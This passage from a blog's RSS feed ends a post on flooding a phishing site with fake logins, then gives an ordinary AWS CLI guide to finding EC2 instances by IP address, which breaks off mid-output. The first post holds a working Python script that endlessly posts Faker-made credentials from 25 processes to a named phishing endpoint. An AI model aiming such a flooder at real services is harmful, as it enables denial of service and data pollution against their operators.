<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">multiprocessing</span> <span class="kn">import</span> <span class="n">Process</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">faker</span> <span class="kn">import</span> <span class="n">Faker</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">requests</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">fake</span> <span class="o">=</span> <span class="n">Faker</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="n">url</span> <span class="o">=</span> <span class="s2">&#34;https://toys-store.site/citi.php&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># use the same request headers shown in the browser dev tools under the &#39;Network&#39; tab</span>
</span></span><span class="line"><span class="cl"><span class="n">headers</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept&#34;</span><span class="p">:</span> <span class="s2">&#34;*/*&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Encoding&#34;</span><span class="p">:</span> <span class="s2">&#34;gzip, deflate, br&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Accept-Language&#34;</span><span class="p">:</span> <span class="s2">&#34;en-US,en;q=0.9&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Cache-Control&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Connection&#34;</span><span class="p">:</span> <span class="s2">&#34;keep-alive&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Content-Length&#34;</span><span class="p">:</span> <span class="s2">&#34;69&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Content-Type&#34;</span><span class="p">:</span> <span class="s2">&#34;application/x-www-form-urlencoded; charset=UTF-8&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Host&#34;</span><span class="p">:</span> <span class="s2">&#34;toys-store.site&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Origin&#34;</span><span class="p">:</span> <span class="s2">&#34;https://mobilecitiauthorization.dns2.us&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Pragma&#34;</span><span class="p">:</span> <span class="s2">&#34;no-cache&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Referer&#34;</span><span class="p">:</span> <span class="s2">&#34;https://mobilecitiauthorization.dns2.us/&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Dest&#34;</span><span class="p">:</span> <span class="s2">&#34;empty&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Mode&#34;</span><span class="p">:</span> <span class="s2">&#34;cors&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-Fetch-Site&#34;</span><span class="p">:</span> <span class="s2">&#34;cross-site&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;Sec-GPC&#34;</span><span class="p">:</span> <span class="s2">&#34;1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;User-Agent&#34;</span><span class="p">:</span> <span class="s2">&#34;Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># infinite loop to send requests</span>
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">send_post_request</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># dynamically generate request payload using Faker</span>
</span></span><span class="line"><span class="cl">        <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;usr&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">simple_profile</span><span class="p">()[</span><span class="s2">&#34;username&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;pwd&#34;</span><span class="p">:</span> <span class="n">fake</span><span class="o">.</span><span class="n">password</span><span class="p">(),</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;login&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s2">&#34;apitoken&#34;</span><span class="p">:</span> <span class="s2">&#34;o7y4jat0p65kd4h&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># send post request with payload and headers</span>
</span></span><span class="line"><span class="cl">        <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1"># extract time from response headers to make it easier to see when requests are sent in the CLI</span>
</span></span><span class="line"><span class="cl">        <span class="n">time</span> <span class="o">=</span> <span class="n">response</span><span class="o">.</span><span class="n">headers</span><span class="p">[</span><span class="s2">&#34;Date&#34;</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34; &#34;</span><span class="p">)[</span><span class="mi">4</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;</span><span class="si">{</span><span class="n">time</span><span class="si">}</span><span class="s2"> -- Request sent. Status Code: </span><span class="si">{</span><span class="n">response</span><span class="o">.</span><span class="n">status_code</span><span class="si">}</span><span class="s2">.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># starts 25 different processes running this code</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">25</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">Process</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">send_post_request</span><span class="p">)</span><span class="o">.</span><span class="n">start</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</blockquote><blockquote><p><strong>Info:</strong></p><p><code>fake.simple_profile()</code> from the <code>payload</code> dictionary generates a dictionary containing user information. I am only using the username portion in this case.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="p">{</span><span class="s1">&#39;username&#39;</span><span class="p">:</span> <span class="s1">&#39;ywarren&#39;</span><span class="p">,</span> <span class="s1">&#39;name&#39;</span><span class="p">:</span> <span class="s1">&#39;Patricia Lyons&#39;</span><span class="p">,</span> <span class="s1">&#39;sex&#39;</span><span class="p">:</span> <span class="s1">&#39;F&#39;</span><span class="p">,</span> <span class="s1">&#39;address&#39;</span><span class="p">:</span> <span class="s1">&#39;2910 Smith Islands Suite 134</span><span class="se">\n</span><span class="s1">Rogerschester, SC 47471&#39;</span><span class="p">,</span> <span class="s1">&#39;mail&#39;</span><span class="p">:</span> <span class="s1">&#39;joel67@gmail.com&#39;</span><span class="p">,</span> <span class="s1">&#39;birthdate&#39;</span><span class="p">:</span> <span class="n">datetime</span><span class="o">.</span><span class="n">date</span><span class="p">(</span><span class="mi">1984</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">20</span><span class="p">)}</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<p>I ran the script and left it running for a while. The time being printed out is extracted from the response headers. This way I could easily see requests as they&rsquo;re being sent in the CLI:</p>
<img src="/using-python-to-flood-scammers-with-fake-credentials/cli-output.webp" alt="CLI output of requests being sent with fake credentials." width="720" height="490" style="max-width: 100%; height: auto; aspect-ratio: 1620 / 1104;" loading="lazy" decoding="async">
<p>It&rsquo;s not easy to tell in a screenshot, but with the <code>multiprocessing</code> package I was able to speed up the process of sending post requests. My terminal was filling up pretty quickly.</p>
<p>I hope I made the scammers&rsquo; lives more difficult as a result of this. I also reported the domains being used so that they are hopefully flagged by browsers in the future.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Finding AWS Resources by IP Address</title>
      <link>https://nelson.cloud/finding-aws-resources-by-ip-address/?ref=rss</link>
      <pubDate>Sun, 12 Jun 2022 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/finding-aws-resources-by-ip-address/?ref=rss</guid>
      <description>Ways to find AWS Resources by private or public IP addresses.</description><content:encoded><![CDATA[<h2 id="finding-ec2-instances-by-ip-address">Finding EC2 Instances by IP Address</h2>
<h3 id="in-the-ec2-console">In the EC2 Console</h3>
<p>In the AWS EC2 Management Console, you can search for EC2 instances using a private or public IP address. Filter by either <code>Private IP address</code> or <code>Public IPv4 address</code> in the search field:</p>
<img src="/finding-aws-resources-by-ip-address/ec2-private-ip-search.webp" alt="Results after searching for an EC2 Instance with a private IP address." width="720" height="185" style="max-width: 100%; height: auto; aspect-ratio: 1506 / 388;" loading="lazy" decoding="async">
<img src="/finding-aws-resources-by-ip-address/ec2-public-ip-search.webp" alt="Results after searching for an EC2 Instance with a public IP address." width="720" height="182" style="max-width: 100%; height: auto; aspect-ratio: 1492 / 378;" loading="lazy" decoding="async">
<h3 id="using-the-aws-cli">Using the AWS CLI</h3>
<p>The AWS CLI can be used to find EC2 instances by either private or public IP address.</p>
<h4 id="using-a-private-ip-address">Using a Private IP Address</h4>
<p>To find EC2 instances by private IP address, the command looks like this (Replace <code>--region</code> with your region if it&rsquo;s not set by default. Replace <code>Values</code> with the IP address):</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">aws ec2 describe-instances --region<span class="o">=</span>us-west-1 --filter <span class="nv">Name</span><span class="o">=</span>private-ip-address,Values<span class="o">=</span>10.0.0.1
</span></span></code></pre></td></tr></table>
</blockquote><h4 id="using-a-public-ip-address">Using a Public IP Address</h4>
<p>To find EC2 instances by public IP address, the <code>Name</code> filter changes to <code>ip-address</code> but otherwise the command is the same as the one from above:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">aws ec2 describe-instances --region<span class="o">=</span>us-west-1 --filter <span class="nv">Name</span><span class="o">=</span>ip-address,Values<span class="o">=</span>54.123.45.67
</span></span></code></pre></td></tr></table>
</blockquote><h4 id="specifying-multiple-ip-addresses">Specifying Multiple IP Addresses</h4>
<p>For either of these commands, you can specify several IP addresses by adding them to the <code>Values</code> filter as such:</p>
<p>For public IP addresses:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">aws ec2 describe-instances --region<span class="o">=</span>us-west-1 --filter <span class="nv">Name</span><span class="o">=</span>ip-address,Values<span class="o">=</span>54.123.45.67,54.123.45.68,54.123.45.69
</span></span></code></pre></td></tr></table>
</blockquote><p>For private IP addresses:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">aws ec2 describe-instances --region<span class="o">=</span>us-west-1 --filter <span class="nv">Name</span><span class="o">=</span>private-ip-address,Values<span class="o">=</span>10.0.0.1,10.0.0.2,10.0.0.3
</span></span></code></pre></td></tr></table>
</blockquote><h3 id="example-output">Example Output</h3>
<p>The output for these commands will look something like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">  1
</span><span class="lnt">  2
</span><span class="lnt">  3
</span><span class="lnt">  4
</span><span class="lnt">  5
</span><span class="lnt">  6
</span><span class="lnt">  7
</span><span class="lnt">  8
</span><span class="lnt">  9
</span><span class="lnt"> 10
</span><span class="lnt"> 11
</span><span class="lnt"> 12
</span><span class="lnt"> 13
</span><span class="lnt"> 14
</span><span class="lnt"> 15
</span><span class="lnt"> 16
</span><span class="lnt"> 17
</span><span class="lnt"> 18
</span><span class="lnt"> 19
</span><span class="lnt"> 20
</span><span class="lnt"> 21
</span><span class="lnt"> 22
</span><span class="lnt"> 23
</span><span class="lnt"> 24
</span><span class="lnt"> 25
</span><span class="lnt"> 26
</span><span class="lnt"> 27
</span><span class="lnt"> 28
</span><span class="lnt"> 29
</span><span class="lnt"> 30
</span><span class="lnt"> 31
</span><span class="lnt"> 32
</span><span class="lnt"> 33
</span><span class="lnt"> 34
</span><span class="lnt"> 35
</span><span class="lnt"> 36
</span><span class="lnt"> 37
</span><span class="lnt"> 38
</span><span class="lnt"> 39
</span><span class="lnt"> 40
</span><span class="lnt"> 41
</span><span class="lnt"> 42
</span><span class="lnt"> 43
</span><span class="lnt"> 44
</span><span class="lnt"> 45
</span><span class="lnt"> 46
</span><span class="lnt"> 47
</span><span class="lnt"> 48
</span><span class="lnt"> 49
</span><span class="lnt"> 50
</span><span class="lnt"> 51
</span><span class="lnt"> 52
</span><span class="lnt"> 53
</span><span class="lnt"> 54
</span><span class="lnt"> 55
</span><span class="lnt"> 56
</span><span class="lnt"> 57
</span><span class="lnt"> 58
</span><span class="lnt"> 59
</span><span class="lnt"> 60
</span><span class="lnt"> 61
</span><span class="lnt"> 62
</span><span class="lnt"> 63
</span><span class="lnt"> 64
</span><span class="lnt"> 65
</span><span class="lnt"> 66
</span><span class="lnt"> 67
</span><span class="lnt"> 68
</span><span class="lnt"> 69
</span><span class="lnt"> 70
</span><span class="lnt"> 71
</span><span class="lnt"> 72
</span><span class="lnt"> 73
</span><span class="lnt"> 74
</span><span class="lnt"> 75
</span><span class="lnt"> 76
</span><span class="lnt"> 77
</span><span class="lnt"> 78
</span><span class="lnt"> 79
</span><span class="lnt"> 80
</span><span class="lnt"> 81
</span><span class="lnt"> 82
</span><span class="lnt"> 83
</span><span class="lnt"> 84
</span><span class="lnt"> 85
</span><span class="lnt"> 86
</span><span class="lnt"> 87
</span><span class="lnt"> 88
</span><span class="lnt"> 89
</span><span class="lnt"> 90
</span><span class="lnt"> 91
</span><span class="lnt"> 92
</span><span class="lnt"> 93
</span><span class="lnt"> 94
</span><span class="lnt"> 95
</span><span class="lnt"> 96
</span><span class="lnt"> 97
</span><span class="lnt"> 98
</span><span class="lnt"> 99
</span><span class="lnt">100
</span><span class="lnt">101
</span><span class="lnt">102
</span><span class="lnt">103
</span><span class="lnt">104
</span><span class="lnt">105
</span><span class="lnt">106
</span><span class="lnt">107
</span><span class="lnt">108
</span><span class="lnt">109
</span><span class="lnt">110
</span><span class="lnt">111
</span><span class="lnt">112
</span><span class="lnt">113
</span><span class="lnt">114
</span><span class="lnt">115
</span><span class="lnt">116
</span><span class="lnt">117
</span><span class="lnt">118
</span><span class="lnt">119
</span><span class="lnt">120
</span><span class="lnt">121
</span><span class="lnt">122
</span><span class="lnt">123
</span><span class="lnt">124
</span><span class="lnt">125
</span><span class="lnt">126
</span><span class="lnt">127
</span><span class="lnt">128
</span><span class="lnt">129
</span><span class="lnt">130
</span><span class="lnt">131
</span><span class="lnt">132
</span><span class="lnt">133
</span><span class="lnt">134
</span><span class="lnt">135
</span><span class="lnt">136
</span><span class="lnt">137
</span><span class="lnt">138
</span><span class="lnt">139
</span><span class="lnt">140
</span><span class="lnt">141
</span><span class="lnt">142
</span><span class="lnt">143
</span><span class="lnt">144
</span><span class="lnt">145
</span><span class="lnt">146
</span><span class="lnt">147
</span><span class="lnt">148
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;Reservations&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Groups&#34;</span><span class="p">:</span> <span class="p">[],</span>
</span></span><span class="line"><span class="cl">            <span class="nt">&#34;Instances&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;AmiLaunchIndex&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;ImageId&#34;</span><span class="p">:</span> <span class="s2">&#34;ami-1234abcd&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;InstanceId&#34;</span><span class="p">:</span> <span class="s2">&#34;i-001122334455abcd&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;InstanceType&#34;</span><span class="p">:</span> <span class="s2">&#34;t3.micro&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;KeyName&#34;</span><span class="p">:</span> <span class="s2">&#34;key-name&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;LaunchTime&#34;</span><span class="p">:</span> <span class="s2">&#34;2022-01-01T00:00:00.000Z&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;Monitoring&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;State&#34;</span><span class="p">:</span> <span class="s2">&#34;enabled&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;Placement&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;AvailabilityZone&#34;</span><span class="p">:</span> <span class="s2">&#34;us-west-1a&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;GroupName&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;Tenancy&#34;</span><span class="p">:</span> <span class="s2">&#34;default&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;PrivateDnsName&#34;</span><span class="p">:</span> <span class="s2">&#34;ip-10-0-0-1.ec2.internal&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;PrivateIpAddress&#34;</span><span class="p">:</span> <span class="s2">&#34;10.0.0.1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;ProductCodes&#34;</span><span class="p">:</span> <span class="p">[],</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;PublicDnsName&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;State&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;Code&#34;</span><span class="p">:</span> <span class="mi">16</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;Name&#34;</span><span class="p">:</span> <span class="s2">&#34;running&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;StateTransitionReason&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;SubnetId&#34;</span><span class="p">:</span> <span class="s2">&#34;subnet-1234abcd&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;VpcId&#34;</span><span class="p">:</span> <span class="s2">&#34;vpc-1234abcd&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;Architecture&#34;</span><span class="p">:</span> <span class="s2">&#34;x86_64&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;BlockDeviceMappings&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">                        <span class="p">{</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;DeviceName&#34;</span><span class="p">:</span> <span class="s2">&#34;/dev/xvda&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;Ebs&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                                <span class="nt">&#34;AttachTime&#34;</span><span class="p">:</span> <span class="s2">&#34;2022-01-01T00:00:00.000Z&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="nt">&#34;DeleteOnTermination&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="nt">&#34;Status&#34;</span><span class="p">:</span> <span class="s2">&#34;attached&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="nt">&#34;VolumeId&#34;</span><span class="p">:</span> <span class="s2">&#34;vol-012345abcdef&#34;</span>
</span></span><span class="line"><span class="cl">                            <span class="p">}</span>
</span></span><span class="line"><span class="cl">                        <span class="p">}</span>
</span></span><span class="line"><span class="cl">                    <span class="p">],</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;ClientToken&#34;</span><span class="p">:</span> <span class="s2">&#34;00000000&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;EbsOptimized&#34;</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;Hypervisor&#34;</span><span class="p">:</span> <span class="s2">&#34;xen&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;IamInstanceProfile&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;Arn&#34;</span><span class="p">:</span> <span class="s2">&#34;arn:aws:iam::000000000000:instance-profile/my-instance-profile&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                        <span class="nt">&#34;Id&#34;</span><span class="p">:</span> <span class="s2">&#34;ABCDEF12345&#34;</span>
</span></span><span class="line"><span class="cl">                    <span class="p">},</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;NetworkInterfaces&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">                        <span class="p">{</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;Attachment&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                                <span class="nt">&#34;AttachTime&#34;</span><span class="p">:</span> <span class="s2">&#34;2022-01-01T00:00:00.000Z&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="nt">&#34;AttachmentId&#34;</span><span class="p">:</span> <span class="s2">&#34;eni-attach-abcd1234&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="nt">&#34;DeleteOnTermination&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="nt">&#34;DeviceIndex&#34;</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="nt">&#34;Status&#34;</span><span class="p">:</span> <span class="s2">&#34;attached&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                <span class="nt">&#34;NetworkCardIndex&#34;</span><span class="p">:</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">                            <span class="p">},</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;Description&#34;</span><span class="p">:</span> <span class="s2">&#34;&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;Groups&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">                                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                                    <span class="nt">&#34;GroupName&#34;</span><span class="p">:</span> <span class="s2">&#34;security-group-1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                    <span class="nt">&#34;GroupId&#34;</span><span class="p">:</span> <span class="s2">&#34;sg-abc123&#34;</span>
</span></span><span class="line"><span class="cl">                                <span class="p">},</span>
</span></span><span class="line"><span class="cl">                                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                                    <span class="nt">&#34;GroupName&#34;</span><span class="p">:</span> <span class="s2">&#34;security-group-2&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                    <span class="nt">&#34;GroupId&#34;</span><span class="p">:</span> <span class="s2">&#34;sg-def456&#34;</span>
</span></span><span class="line"><span class="cl">                                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                            <span class="p">],</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;Ipv6Addresses&#34;</span><span class="p">:</span> <span class="p">[],</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;MacAddress&#34;</span><span class="p">:</span> <span class="s2">&#34;aa:00:bb:22:cc:33&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;NetworkInterfaceId&#34;</span><span class="p">:</span> <span class="s2">&#34;eni-abcd1234&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;OwnerId&#34;</span><span class="p">:</span> <span class="s2">&#34;112233445566&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;PrivateDnsName&#34;</span><span class="p">:</span> <span class="s2">&#34;ip-10-0-0-1.ec2.internal&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;PrivateIpAddress&#34;</span><span class="p">:</span> <span class="s2">&#34;10.0.0.1&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;PrivateIpAddresses&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">                                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                                    <span class="nt">&#34;Primary&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                    <span class="nt">&#34;PrivateDnsName&#34;</span><span class="p">:</span> <span class="s2">&#34;ip-10-0-0-1.ec2.internal&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                    <span class="nt">&#34;PrivateIpAddress&#34;</span><span class="p">:</span> <span class="s2">&#34;10.0.0.1&#34;</span>
</span></span><span class="line"><span class="cl">                                <span class="p">}</span>
</span></span><span class="line"><span class="cl">                            <span class="p">],</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;SourceDestCheck&#34;</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;Status&#34;</span><span class="p">:</span> <span class="s2">&#34;in-use&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;SubnetId&#34;</span><span class="p">:</span> <span class="s2">&#34;subnet-abcd1234&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;VpcId&#34;</span><span class="p">:</span> <span class="s2">&#34;vpc-abcd1234&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                            <span class="nt">&#34;InterfaceType&#34;</span><span class="p">:</span> <span class="s2">&#34;interface&#34;</span>
</span></span><span class="line"><span class="cl">                        <span class="p">}</span>
</span></span><span class="line"><span class="cl">                    <span class="p">],</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;RootDeviceName&#34;</span><span class="p">:</span> <span class="s2">&#34;/dev/xvda&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;RootDeviceType&#34;</span><span class="p">:</span> <span class="s2">&#34;ebs&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                    <span class="nt">&#34;SecurityGroups&#34;</span><span class="p">:</span> <span class="p">[</span>
